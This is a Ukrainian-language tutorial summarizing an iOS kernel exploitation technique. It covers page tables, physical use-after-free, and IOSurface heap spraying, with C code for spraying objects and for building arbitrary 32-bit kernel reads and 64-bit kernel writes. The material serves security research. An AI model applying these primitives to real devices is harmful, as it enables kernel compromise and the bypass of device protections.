iOS Exploiting
Reading time: 6 minutes
Фізичне використання після звільнення
Це резюме з посту з https://alfiecg.uk/2024/09/24/Kernel-exploit.html, крім того, додаткову інформацію про експлуатацію з використанням цієї техніки можна знайти в https://github.com/felix-pb/kfd
Управління пам'яттю в XNU
Віртуальний адресний простір пам'яті для користувацьких процесів на iOS охоплює діапазон від 0x0 до 0x8000000000. Однак ці адреси не відображаються безпосередньо на фізичну пам'ять. Натомість ядро використовує таблиці сторінок для перетворення віртуальних адрес на фактичні фізичні адреси.
Рівні таблиць сторінок в iOS
Таблиці сторінок організовані ієрархічно на трьох рівнях:
- L1 Таблиця сторінок (Рівень 1):
- Кожен запис тут представляє великий діапазон віртуальної пам'яті.
- Вона охоплює 0x1000000000 байт (або 256 ГБ) віртуальної пам'яті.
- L2 Таблиця сторінок (Рівень 2):
- Запис тут представляє меншу область віртуальної пам'яті, а саме 0x2000000 байт (32 МБ).
- Запис L1 може вказувати на таблицю L2, якщо він не може відобразити весь регіон самостійно.
- L3 Таблиця сторінок (Рівень 3):
- Це найдрібніший рівень, де кожен запис відображає одну 4 КБ сторінку пам'яті.
- Запис L2 може вказувати на таблицю L3, якщо потрібен більш детальний контроль.
Відображення віртуальної пам'яті на фізичну
- Пряме відображення (Блокове відображення):
- Деякі записи в таблиці сторінок безпосередньо відображають діапазон віртуальних адрес на безперервний діапазон фізичних адрес (як ярлик).
- Вказівник на дочірню таблицю сторінок:
- Якщо потрібен більш детальний контроль, запис на одному рівні (наприклад, L1) може вказувати на дочірню таблицю сторінок на наступному рівні (наприклад, L2).
Приклад: Відображення віртуальної адреси
Припустимо, ви намагаєтеся отримати доступ до віртуальної адреси 0x1000000000:
- Таблиця L1:
- Ядро перевіряє запис таблиці сторінок L1, що відповідає цій віртуальній адресі. Якщо в ньому є вказівник на таблицю L2, воно переходить до цієї таблиці L2.
- Таблиця L2:
- Ядро перевіряє таблицю сторінок L2 для більш детального відображення. Якщо цей запис вказує на таблицю L3, воно продовжує туди.
- Таблиця L3:
- Ядро шукає фінальний запис L3, який вказує на фізичну адресу фактичної сторінки пам'яті.
Приклад відображення адреси
Якщо ви запишете фізичну адресу 0x800004000 у перший індекс таблиці L2, тоді:
- Віртуальні адреси від 0x1000000000 до 0x1002000000 відображаються на фізичні адреси від 0x800004000 до 0x802004000.
- Це блокове відображення на рівні L2.
Альтернативно, якщо запис L2 вказує на таблицю L3:
- Кожна 4 КБ сторінка у віртуальному адресному діапазоні 0x1000000000 -> 0x1002000000 буде відображена окремими записами в таблиці L3.
Фізичне використання після звільнення
Фізичне використання після звільнення (UAF) відбувається, коли:
- Процес виділяє деяку пам'ять як читабельну та записувану.
- Таблиці сторінок оновлюються, щоб відобразити цю пам'ять на конкретну фізичну адресу, до якої процес може отримати доступ.
- Процес звільняє пам'ять.
- Однак, через помилку, ядро забуває видалити відображення з таблиць сторінок, хоча воно позначає відповідну фізичну пам'ять як вільну.
- Ядро може потім перевиділити цю "звільнену" фізичну пам'ять для інших цілей, таких як дані ядра.
- Оскільки відображення не було видалено, процес все ще може читати та записувати в цю фізичну пам'ять.
Це означає, що процес може отримати доступ до сторінок пам'яті ядра, які можуть містити чутливі дані або структури, що потенційно дозволяє зловмиснику маніпулювати пам'яттю ядра.
Стратегія експлуатації: Heap Spray
Оскільки зловмисник не може контролювати, які конкретні сторінки ядра будуть виділені для звільненої пам'яті, вони використовують техніку, звану heap spray:
- Зловмисник створює велику кількість об'єктів IOSurface в пам'яті ядра.
- Кожен об'єкт IOSurface містить магічне значення в одному з його полів, що полегшує його ідентифікацію.
- Вони сканують звільнені сторінки, щоб перевірити, чи потрапив якийсь з цих об'єктів IOSurface на звільнену сторінку.
- Коли вони знаходять об'єкт IOSurface на звільненій сторінці, вони можуть використовувати його для читання та запису пам'яті ядра.
Більше інформації про це в https://github.com/felix-pb/kfd/tree/main/writeups
Покроковий процес Heap Spray
- Розпилення об'єктів IOSurface: Зловмисник створює багато об'єктів IOSurface з особливим ідентифікатором ("магічне значення").
- Сканування звільнених сторінок: Вони перевіряють, чи були виділені якісь з об'єктів на звільненій сторінці.
- Читання/Запис пам'яті ядра: Маніпулюючи полями в об'єкті IOSurface, вони отримують можливість виконувати произвольні читання та записи в пам'яті ядра. Це дозволяє їм:
- Використовувати одне поле для читання будь-якого 32-бітного значення в пам'яті ядра.
- Використовувати інше поле для запису 64-бітних значень, досягаючи стабільного примітиву читання/запису ядра.
Генерувати об'єкти IOSurface з магічним значенням IOSURFACE_MAGIC для подальшого пошуку:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Шукайте IOSurface
об'єкти на одній звільненій фізичній сторінці:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Досягнення читання/запису в ядрі з IOSurface
Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з простору користувача), ми можемо використовувати його для произвольних операцій читання та запису в ядрі.
Ключові поля в IOSurface
Об'єкт IOSurface має два важливих поля:
- Вказівник на кількість використань: Дозволяє 32-бітне читання.
- Вказівник на індексований часовий штамп: Дозволяє 64-бітний запис.
Перезаписуючи ці вказівники, ми перенаправляємо їх на произвольні адреси в пам'яті ядра, що дозволяє можливості читання/запису.
32-Бітне читання з ядра
Щоб виконати читання:
- Перезапишіть вказівник на кількість використань, щоб він вказував на цільову адресу мінус 0x14-байтовий зсув.
- Використовуйте метод
get_use_count
, щоб прочитати значення за цією адресою.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Бітний Запис Ядра
Щоб виконати запис:
- Перезапишіть індексований вказівник часу на цільову адресу.
- Використовуйте метод
set_indexed_timestamp
, щоб записати 64-бітне значення.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Підсумок потоку експлуатації
- Запустити фізичне використання після звільнення: Вільні сторінки доступні для повторного використання.
- Розподілити об'єкти IOSurface: Виділити багато об'єктів IOSurface з унікальним "магічним значенням" у пам'яті ядра.
- Визначити доступний IOSurface: Знайти IOSurface на звільненій сторінці, яку ви контролюєте.
- Зловживати використанням після звільнення: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільне читання/запис ядра через методи IOSurface.
З цими примітивами експлуатація забезпечує контрольовані 32-бітні читання та 64-бітні записи в пам'ять ядра. Подальші кроки джейлбрейку можуть включати більш стабільні примітиви читання/запису, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).